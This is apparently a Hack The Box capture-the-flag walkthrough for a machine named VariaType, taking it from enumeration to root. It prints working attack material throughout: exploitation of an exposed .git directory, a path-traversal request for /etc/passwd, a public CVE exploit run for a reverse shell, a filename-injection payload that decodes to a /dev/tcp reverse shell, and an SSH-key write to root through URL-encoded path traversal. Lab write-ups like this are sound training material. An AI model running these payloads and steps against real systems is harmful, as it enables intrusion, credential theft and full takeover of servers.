We begin with a standard network scan using Nmap to identify open ports and services running on the target.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http nginx 1.22.1
From this scan, we can conclude:
Since web services are often the primary attack surface in Hack The Box machines, we proceed with web enumeration.
Accessing the main website at:
http://variatype.htb
reveals a landing page for VariaType Labs, which appears to be a variable font generation platform.

The application explicitly allows users to upload .designspace files:
“Generate production-ready variable fonts from your .designspace…”
This is immediately interesting from an attacker’s perspective because file upload functionality is a high-risk attack surface, especially when dealing with structured formats like XML.
Based on the functionality of the application, research into known vulnerabilities related to font processing libraries led to the discovery of:
This vulnerability affects the fonttools library, specifically the varLib module used for handling .designspace files.
A malicious .designspace file can:
This vulnerability is highly relevant because:
.designspace uploadsfonttoolsTo expand the attack surface, subdomain fuzzing was performed using ffuf:
ffuf -u http://variatype.htb -H "Host: FUZZ.variatype.htb" -w subdomains-top1million-5000.txt
This revealed a new subdomain:
portal.variatype.htb
This is significant, as development portals or internal panels often expose additional functionality or vulnerabilities.
Next, directory brute-forcing was performed on the newly discovered subdomain:
feroxbuster -u http://portal.variatype.htb/
This revealed a critical finding:
/.git/
The presence of an exposed .git directory is a serious misconfiguration, as it can allow attackers to reconstruct the entire source code of the application.
Key findings include:
.git/index
.git/config
.git/HEAD
.git/objects/
This indicates that the repository is fully accessible.
At this stage, the next logical step is to dump the Git repository and analyze the source code for:
./gitdumper.sh http://portal.variatype.htb/.git/ /home/cypher/Desktop/HTB/variatype
After successfully dumping the exposed .git directory, the repository was reconstructed locally and inspected using standard Git commands.
git log
git show <commit>
The commit history revealed two commits:
* 753b5f5 fix: add gitbot user for automated validation pipeline
* 5030e79 feat: initial portal implementation
The most important finding comes from analyzing the latest commit:
git show 753b5f5
This reveals a modification in auth.php:
$USERS = [
'gitbot' => 'G1tB0t_Acc3ss_2025!'
];
The developers introduced a user for an automated validation pipeline, but mistakenly committed credentials directly into the source code.
Extracted credentials:
Username: gitbot
Password: G1tB0t_Acc3ss_2025!
This is a classic example of sensitive information disclosure via exposed Git repositories.
Using the discovered credentials, authentication was performed on the portal:
http://portal.variatype.htb
Successful login grants access to the Validation Dashboard.

The dashboard indicates:
This confirms that the portal is part of a backend processing pipeline, likely interacting with the .designspace upload functionality identified earlier.
To better understand the application structure, additional directory fuzzing was performed with PHP extensions:
feroxbuster -u http://portal.variatype.htb/ -x php
/dashboard.php → Redirects if not authenticated (confirms access control)/download.php → Likely used to retrieve generated font files/view.php → Possibly used to preview processed data/files/ → Storage location for generated or uploaded filesThe presence of these endpoints strongly suggests a file processing workflow, where:
.designspace file is uploaded/files/
While enumerating the available endpoints, accessing /download.php without parameters returns:
File parameter required.
This indicates that the endpoint expects a file parameter, which is a strong candidate for Local File Inclusion (LFI) testing.
Testing for path traversal:
http://portal.variatype.htb/download.php?f=....//....//....//....//....//....//etc/passwd
The application successfully returned sensitive system files such as /etc/passwd, confirming:
f parameter..//) is possibleThis provides an alternative path to sensitive data exposure, though in this case, a more direct RCE path was available.
Exploitation Using Public PoC
https://github.com/symphony2colour/varlib-cve-2025-66034
A public exploit for this CVE was used to automate the process:
python3 varlib_cve_2025_66034.py \
--ip 10.10.10.10 \
--port 6666 \
--path /var/www/portal.variatype.htb/public/files \
--trigger http://portal.variatype.htb/files \
--url http://variatype.htb/tools/variable-font-generator/process
.designspace fileShell received:
www-data@variatype:~/portal.variatype.htb/public/files$ whoami
www-data
At this point, we have initial access as www-data.
Navigating the system revealed an interesting directory:
/opt
Contents:
process_client_submissions.bak
This script appears to be part of the font processing pipeline.
The script contains:
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
It enforces a filename restriction:
. _ -However, further analysis reveals a critical issue:
The script processes files using:
fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')
"
Here, $file is embedded directly into a Python command string.
Even though a regex is applied, it does not fully prevent command injection, especially when filenames are interpreted in shell or embedded contexts.
A Python script was created to generate a malicious ZIP archive:
import zipfile
payload = "L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy42Ny82NjY2IDA+JjE="
filename = f"$(echo {payload} | base64 -d | bash).ttf"
with zipfile.ZipFile("exploit.zip", "w") as z:
z.writestr(filename, "dummy")
$(...)
The malicious archive was transferred to the server:
wget http://10.10.10.10:8000/exploit.zip -O /var/www/portal.variatype.htb/public/files/exploit.zip
steveA listener was started:
nc -lnvp 6666
Upon processing the malicious file, a shell was received:
$ whoami
steve
Upgraded shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Now we have a fully interactive shell as:
steve@variatype:~$
After obtaining a stable shell as steve, the next step is to check for sudo privileges:
sudo -l
Output:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
This indicates that the user steve can execute a Python script as root without a password, which is a strong privilege escalation vector.
The script:
/opt/font-tools/install_validator.py
Key functionality:
from setuptools.package_index import PackageIndex
index.download(plugin_url, PLUGIN_DIR)
The script does:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
Where:
PLUGIN_DIR = "/opt/font-tools/validators"
However:
This introduces a path traversal via URL → arbitrary file write as root
Goal:
/root/.ssh/authorized_keys
This allows direct SSH access as root.
ssh-keygen -t ed25519 -f root_key
Files created:
root_key
root_key.pub
A simple HTTP server is created to serve the public key.
serve.pyfrom http.server import BaseHTTPRequestHandler, HTTPServer
KEY = open("key.txt", "rb").read()
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(KEY)))
self.end_headers()
self.wfile.write(KEY)
def log_message(self, *args):
pass
HTTPServer(("0.0.0.0", 8000), H).serve_forever()
Run server:
python3 serve.py
Execute:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://ATTACKER_IP:8000/%2froot%2f.ssh%2fauthorized_keys"
%2f = / (URL-encoded slash)/root/.ssh/authorized_keys
Output confirms:
Plugin installed at: /root/.ssh/authorized_keys
ssh root@variatype.htb -i root_key
Successful login:
root@variatype:~# whoami
root
cat /root/root.txt